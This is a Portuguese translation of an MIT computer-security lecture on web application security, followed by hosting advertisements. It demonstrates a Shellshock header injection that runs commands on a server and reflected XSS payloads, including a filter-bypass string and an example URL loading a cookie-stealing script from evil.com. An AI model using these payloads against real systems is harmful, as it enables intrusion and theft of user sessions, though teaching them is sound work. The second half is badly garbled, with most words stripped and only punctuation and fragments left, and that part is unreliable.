Curso MIT "Segurança de sistemas de computadores". Aula 9: Segurança de Aplicativos Web, Parte 1

Instituto de Tecnologia de Massachusetts. Curso de Aula nº 6.858. "Segurança de sistemas de computador". Nikolai Zeldovich, James Mickens. 2014 ano

Computer Systems Security é um curso sobre o desenvolvimento e implementação de sistemas de computador seguros. As palestras abrangem modelos de ameaças, ataques que comprometem a segurança e técnicas de segurança baseadas em trabalhos científicos recentes. Os tópicos incluem segurança do sistema operacional (SO), recursos, gerenciamento de fluxo de informações, segurança de idiomas, protocolos de rede, segurança de hardware e segurança de aplicativos da web.

Palestra 1: “Introdução: modelos de ameaças” Parte 1 / Parte 2 / Parte 3
Palestra 2: “Controle de ataques de hackers” Parte 1 / Parte 2 / Parte 3
Aula 3: “Estouros de Buffer: Explorações e Proteção” Parte 1 / Parte 2 / Parte 3
Palestra 4: “Separação de Privilégios” Parte 1 / Parte 2 / Parte 3
Palestra 5: “De onde vêm os sistemas de segurança?” Parte 1 / Parte 2
Palestra 6: “Oportunidades” Parte 1 / Parte 2 / Parte 3
Palestra 7: “Sandbox do Cliente Nativo” Parte 1 / Parte 2 / Parte 3
Aula 8: “Modelo de Segurança de Rede” Parte 1 / Parte 2 / Parte 3
Aula 9: “Segurança de aplicativos da Web” Parte 1 / Parte 2 / Parte 3

Vamos começar a segunda palestra em nossa impressionante série de histórias de segurança na web. Gostaria de proceder imediatamente a uma rápida demonstração de exemplos, pois você sabe que nossas demos quase nunca funcionam. Espero que você não veja uma tela em branco hoje.

A idéia básica é que primeiro gostaria de mostrar um exemplo de erro do Shellshock sobre o qual você já deve ter ouvido falar. Este foi um tópico bastante popular na literatura sobre segurança de computadores.



As pessoas atribuem a um erro Heartbleed uma classificação máxima de 10 em uma escala de perigo 10. Eles consideram esse o erro mais perigoso que o sistema de segurança deve proteger. Eu pensei que seria uma ótima idéia mostrar a você uma história viva desse problema que você pode recontar para seus pais para que eles entendam que estudar no Instituto de Tecnologia de Massachusetts vale a pena.

Então, qual é a principal idéia do erro do Shellshock? Este é realmente um excelente exemplo de por que é tão difícil criar aplicativos da Web seguros que abranjam várias tecnologias, vários idiomas, vários sistemas operacionais e assim por diante. Portanto, a idéia principal é que o Shellshock use o fato de que um invasor pode criar uma solicitação http especial para o servidor e gerenciar os cabeçalhos dessa solicitação. Eu escrevi um exemplo muito simples no quadro.
Suponha que um invasor queira enviar uma solicitação GET para algum CGI sobre o tópico de procurar gatos, porque é exatamente isso que as pessoas sempre procuram na Internet (apenas brincando). Portanto, haverá um ponto de interrogação e algum tipo de cabeçalho de host padrão com um URL, por exemplo, example.com:

GET /querry.cgi? search = gatos
Anfitrião: example.com
Personalizado - cabeçalho: Personalizado - valor

Agora observe que um invasor também pode especificar cabeçalhos personalizados. Por exemplo, eu quero encontrar algum tipo de cabeçalho específico de aplicativo chamado Custom-header para indicar algum valor personalizado, porque o aplicativo Web pode definir algumas funcionalidades que não podem ser expressas usando cabeçalhos HTTP predefinidos simples. Então, enquanto tudo isso parece bastante inofensivo.
Mas, no final, o que acontece é que muitos desses servidores da Web para processar scripts CGI realmente aceitam esses valores customizados no cabeçalho Custom-value e os utilizam para definir variáveis ​​de ambiente Bash. Ou seja, eles usarão esse cabeçalho personalizado para criar um cabeçalho personalizado para o nome da variável Bash, pegarão esse valor personalizado fornecido pelo atacante e o usarão como o valor da variável Bash. Uma vez que essa variável é definida, o servidor CGI fará algum processamento do contexto desse ambiente.

E isso é ruim porque os servidores da Web não devem receber valores arbitrários dessas coisas "sujas" aleatórias. Assim, em um exemplo específico de erro do Shellshock, o que acontece é que, se você atribuir à variável Bash algum valor malicioso, uma forma de loucura pode começar.



Basicamente, essa definição maliciosa de uma função é escolhida na linguagem de script Bash e você não deve se incomodar com as especificidades deste processo. Mas o fato é que, se o parâmetro Bash fosse definido corretamente, essa parte do / bin / id não seria executada. Então você acabou de definir algum tipo de função burra que não faz nada e encerra o processo de consulta.

No entanto, essa sequência de caracteres confunde o analisador Bash; parece tropeçar nesse absurdo localizado após a barra. E então ele diz: “Ah, eu poderia continuar analisando e executando alguns comandos aqui, certo?” E, nesse caso, ele simplesmente executa o comando bin / id, que exibe algumas informações sobre o usuário. Mas a essência da vulnerabilidade é que, em vez de bin / id, você pode colocar absolutamente qualquer código aqui!

Vou dar um exemplo muito simples que você verá na tela. Este é um servidor Python muito simples, o mais fácil que você pode imaginar. Eu uso o método GET aqui. Esse método significa iterar sobre todos os cabeçalhos HTTP na solicitação.





Aqui no cabeçalho, temos um valor para a variável K e um valor para a consulta V. Nesse caso, GET simplesmente imprime os cabeçalhos que encontra.

E então ele fará algo muito estúpido - fazer uma chamada do sistema e definir o valor do shell diretamente para o valor indicado no cabeçalho. Portanto, essa é toda a raiz da vulnerabilidade.

Se eu for para a próxima guia e iniciar o servidor da vítima, veremos que ele está pronto para aceitar solicitações.



Então eu posso escrever meu cliente Shellshock especial - ele está localizado na próxima guia.



Na verdade, é bem simples - eu apenas defino uma dessas linhas maliciosas de attack.str, para que ele tenha esses valores "curvos". E então eu sei que no lado do servidor tudo será feito agora de acordo com a minha vontade.

Nesse caso, usei algo inofensivo - eco "Eu possuo seu carro". Mas poderia haver qualquer coisa. Você pode executar outro shell Bash com o parâmetro "echo ATTACKER CMD", ou seja, o comando do invasor real, que pode ser muito perigoso.

Então, defino os cabeçalhos e a solicitação do usuário e, em seguida, basta usar o Python para criar uma conexão HTTP e enviá-la ao servidor. Então, o que acontece no final? Estou executando meu cliente Shellshock aqui.



Veja, o erro 404 apareceu aqui, porque não importa qual arquivo solicitei, apenas insiro aqui algum tipo de índice que não existe HTML. Mas se você olhar aqui, na segunda guia, onde mostramos o servidor Web da vítima que concordou em se conectar pela porta 8282, veremos que ele recebeu minhas mensagens "Eu sou o seu carro" e o ATTACKER CMD.



Como assim que o servidor da vítima recebeu esse cabeçalho, ele definiu imediatamente os valores da variável Bash e, como resultado, o comando ATTACKER CMD foi iniciado. Isso está claro?

Público: isso acontece se um programa começa com esse título?

Professor: sim. Portanto, as especificidades de como o ataque funciona depende da aparência do servidor da web, por exemplo, se você trabalha com Apache ou não. Este exemplo é um pouco exagerado, já que criei outro shell Bash, defini uma variável de shell e só então iniciei o processo. Mas você pode imaginar que, se você criou outros processos para cada conexão de entrada, poderá definir a variável de ambiente diretamente.

Público-alvo: portanto, se você retornar ao código do servidor da Web, parece que há uma vulnerabilidade muito pior que o Shellshock. Como você pode fazer uma chamada do sistema e executar o comando simplesmente configurando o cabeçalho personalizado para outra coisa, eu não precisaria usar o erro Shellshock neste exemplo.

Professor: sim, está certo, neste servidor Web particular, que escrevi apenas como exemplo, há algo que não pode ser confiável para nada. Mas se aqui não tivéssemos Python, mas Apache, poderíamos definir diretamente o valor do ambiente para qualquer serviço específico usando o parâmetro set nth. Mas existem servidores como este que criam um processo separado e fazem algo muito semelhante ao exemplo dado.



Outro exemplo que eu queria dar é o exemplo de script entre sites. O bug do Shellshock foi um exemplo de quão importante é a desinfecção do conteúdo. Discutimos o fato de que você não deve apenas aceitar informações de pessoas aleatórias e usá-las diretamente em equipes de qualquer tipo.

O script entre sites é outro exemplo que mostra por que algo pode dar errado. Neste exemplo, eu tenho outro servidor CGI simples escrito em Python.



Este é o identificador que é executado quando uma solicitação é recebida do cliente. Imprimi alguns cabeçalhos aqui para a resposta, e minha resposta será texto HTML. Acontece que os navegadores têm alguns mecanismos de segurança para tentar impedir o ataque que eu vou lhe mostrar. Portanto, tornei possível desativar alguns dos mecanismos dessa proteção colocando essa barra de título no início.

O script CGI obtém acesso a todos os campos e solicitações CGI, começando com a linha form = cgi.FieldStorage (). Imagine que tudo o que está localizado na linha após este ponto de interrogação representa o título e os parâmetros do nosso exemplo:

GET /querry.cgi? search = gatos
Anfitrião: example.com
Personalizado - cabeçalho: Personalizado - valor

Em seguida, o script cgi faz uma coisa muito simples - imprime imediatamente o valor de algo que veio do invasor. Essa é a mesma idéia básica, e é uma péssima idéia, porque esta função de impressão imprime o valor resultante diretamente no próprio HTML.

Aqui pode acontecer o seguinte. Suponha que eu tenha várias consultas que quero executar. Nesta primeira solicitação, simplesmente defino o valor da mensagem como Hello, ou seja, vou para o endereço da primeira linha.



Portanto, se eu for para a minha página, verei a palavra hello nela, porque o servidor aceita diretamente o que eu transmito e imprime “hello”. Portanto, sem surpresas.



Entendo que posso realmente passar código HTML arbitrário lá e, se eu definir o formato do cabeçalho como h1, ou seja, enviarei a segunda linha que termina em olá para o servidor, ela também será alterada na página - veja, o estilo da palavra mudou para o estilo do cabeçalho h1. Por isso, digite os valores diretamente na página.



Ótimo, agora estamos no negócio, e isso é legal. Agora, basta adicionar o código JavaScript, ou seja, executaremos a terceira linha preparada por mim no navegador, onde um determinado script é inserido, executado após o parâmetro de alerta ("XSS").

Então agora vemos uma tela em branco. Parece que não obtivemos êxito, porque nenhuma saída é visível e não notei nenhum aviso.



Mas se eu olhar a saída do servidor da Web, verei que o próprio servidor da Web não recebeu realmente essa tag de script final. Parece que o próprio navegador de alguma forma detectou algo ruim, embora eu tenha tentado desativar o filtro XSS. Então é bem interessante. Mais tarde, examinaremos mais de perto esse mecanismo de proteção, mas, por enquanto, observarei que o navegador está tentando suportar ataques de script entre sites.

Mas você pode aproveitar o fato de que HTML, CSS e JavaScript são linguagens extremamente complexas e são escritos de uma maneira difícil de entender. Aproveitarei isso e utilizarei a última quarta linha da minha entrada, colocando-a na barra de endereços do navegador. Esta é uma sequência de ataques que contém um URL inválido. Ele inclui o URL da imagem <IMG "" "> e a tag de script"> e, na verdade, não pode ser analisado. Portanto, após o recebimento dessa linha, o navegador simplesmente fica confuso e exibe informações na tela: “A página em 127.0.0.1:8282 diz: XSS”. Portanto, a detecção de script entre sites incorporada não funciona realmente.



Se clicarmos no botão "OK", teremos apenas uma página em branco. Mas se você olhar para o seu conteúdo, veremos aspas e colchetes incompreensíveis que vêm do nada.



No entanto, do ponto de vista do invasor, a página danificada não importa, porque vimos um aviso, o que significa que o código foi iniciado. E poderia ser usado para roubar cookies ou fazer algo assim.

Público: qual é o aspecto entre sites?

Professor: O aspecto entre sites é que, se um invasor pode convencer um usuário a acessar um URL, como neste exemplo, ele é a pessoa que determina o conteúdo da mensagem. É ele quem cria o aviso XSS ou algo assim. Essencialmente, o que acontece é que a página da vítima executa o código em nome de alguém que não gerencia essa página.

Então, mostrei duas demonstrações rápidas do mundo "sujo" em que vivemos. Então, por que o script entre sites é tão comum? Por que essas questões são tão importantes? O motivo é que os sites estão se tornando cada vez mais dinâmicos e desejam hospedar vários conteúdos gerados por usuários ou incluir conteúdo de outros domínios. Pense, por exemplo, na seção de comentários de um artigo de notícias; esses comentários são de pessoas não confiáveis ​​- de usuários. De uma forma ou de outra, esses sites devem descobrir quais são as regras para combinar essas coisas.

Os sites podem conter documentos do usuário, como documentos do Google ou do Office 365. Todos esses documentos são de pessoas não confiáveis, mas de alguma forma precisam se dar bem e com a ótima infraestrutura do Google ou da Microsoft.

Que tipos de cenários de segurança entre sites podemos usar? Um tipo de proteção são os filtros de script entre sites no próprio navegador. Esses filtros tentarão detectar possíveis ataques de script entre sites. E vimos um desses filtros em ação - este foi o terceiro exemplo do cenário que examinamos.
Suponha que você tenha o URL foo.com/?q= <script src = "evil.com/cookie stealer.js">. Ou seja, esse endereço executa um script que redireciona o usuário para um site malicioso e rouba cookies dele.



Portanto, o navegador se recusará a executá-lo e o truque desse invasor não funcionará. O motivo é simples - o navegador apenas verificou se havia uma <script> nesse URL e, após encontrá-la, proibiu o clique neste link. Portanto, essa é uma heurística muito simples para descobrir se algo nocivo está acontecendo, porque nenhum desenvolvedor normal colocará essas coisas no endereço. Você pode configurar as opções de configuração do navegador para ativar ou desativar essas coisas. Às vezes, isso é útil para testar se você deseja apenas rapidamente e sem muita verificação inserir alguns dados JavaScript. Mas geralmente essa verificação no navegador é ativada por padrão.

Por exemplo, o Chrome e o IE têm um filtro interno que analisa o valor do URL na barra de endereços e procura coisas semelhantes. E se eles estiverem lá, o navegador poderá tentar removê-los completamente ou tornar a fonte dentro de <> vazia. Existem muitos métodos de análise heurística com base nos quais os navegadores devem detectar essas coisas. E se você olhar o site da OWASP, há exemplos de como usar essa heurística para detectar scripts entre sites e exemplos de como ignorar esse filtro.

Sabe, foi muito engraçado, porque a princípio, como exemplo para nossa palestra, fiz algo semelhante a isso, e não funcionou. Então eu olhei para a folha de dicas da OWASP e encontrei a quarta opção que funcionava: era um exemplo com uma análise quebrada do endereço da imagem img.

Portanto, o principal problema, que não permite que você simplesmente confie nos filtros internos do navegador, é que existem muitas maneiras diferentes de forçar os analisadores de CSS e HTML a analisar algum conteúdo da maneira errada. Portanto, as soluções incorporadas não são perfeitas, elas não cobrem todas as vulnerabilidades.

Público: Mas não é responsabilidade do navegador verificar essas coisas?

Professor: Quero dizer o caso em que o navegador está em um servidor proxy e o proxy faz algo mostrado neste exemplo. Ou seja, os filtros internos fazem sentido, porque pode haver muitos analisadores dentro do navegador, e esses filtros são usados ​​para proteger as camadas do manipulador dentro do navegador.

Público: Acho que podemos dizer que é responsabilidade do desenvolvedor da web, não do usuário, verificar essas coisas.

Professor: em certo sentido, poderíamos dizer que no Unix ou Windows também existem processos que o desenvolvedor de software, e não o usuário, deve cuidar, e o desenvolvedor deve garantir que essas coisas permaneçam isoladas. Mas, na realidade, o sistema operacional e o hardware também desempenham um papel importante, porque, do contrário, não se pode confiar em nenhum programa feito por desenvolvedores aleatórios. Mas basicamente você está certo. De fato, estruturas como o Django ou algo semelhante estão tentando ajudá-lo a solucionar alguns desses problemas.

De uma forma ou de outra, os filtros não são uma solução ideal e não podem impedir o que é conhecido como persistente, ou ataques persistentes de script entre sites, XSS persistente. Este é um tipo de reflexão, porque o código do script simplesmente "vive" na URL. Assim que o usuário fechou esse URL, o ataque terminou.

Mas imagine que um usuário tenha colocado HTML malicioso na seção de comentários do seu site. , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

Django – , . name, , HTML JavaScript - .

26:25

Curso MIT "Segurança de sistemas de computadores". Aula 9: “Segurança de aplicativos da Web”, parte 2


A versão completa do curso está disponível aqui .

Obrigado por ficar conosco. Você gosta dos nossos artigos? Deseja ver materiais mais interessantes? Ajude-nos fazendo um pedido ou recomendando a seus amigos, um desconto de 30% para os usuários da Habr em um análogo exclusivo de servidores básicos que inventamos para você: Toda a verdade sobre o VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD 1Gbps de US $ 20 ou como dividir o servidor? (as opções estão disponíveis com RAID1 e RAID10, até 24 núcleos e até 40GB DDR4).

VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD de 1Gbps até dezembro de graça quando pagar por um período de seis meses, você pode fazer o pedido aqui .

Dell R730xd 2 vezes mais barato? Somente nós temos 2 TVs Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 a partir de US $ 249 na Holanda e nos EUA! Leia sobre Como criar um prédio de infraestrutura. classe usando servidores Dell R730xd E5-2650 v4 custando 9.000 euros por um centavo?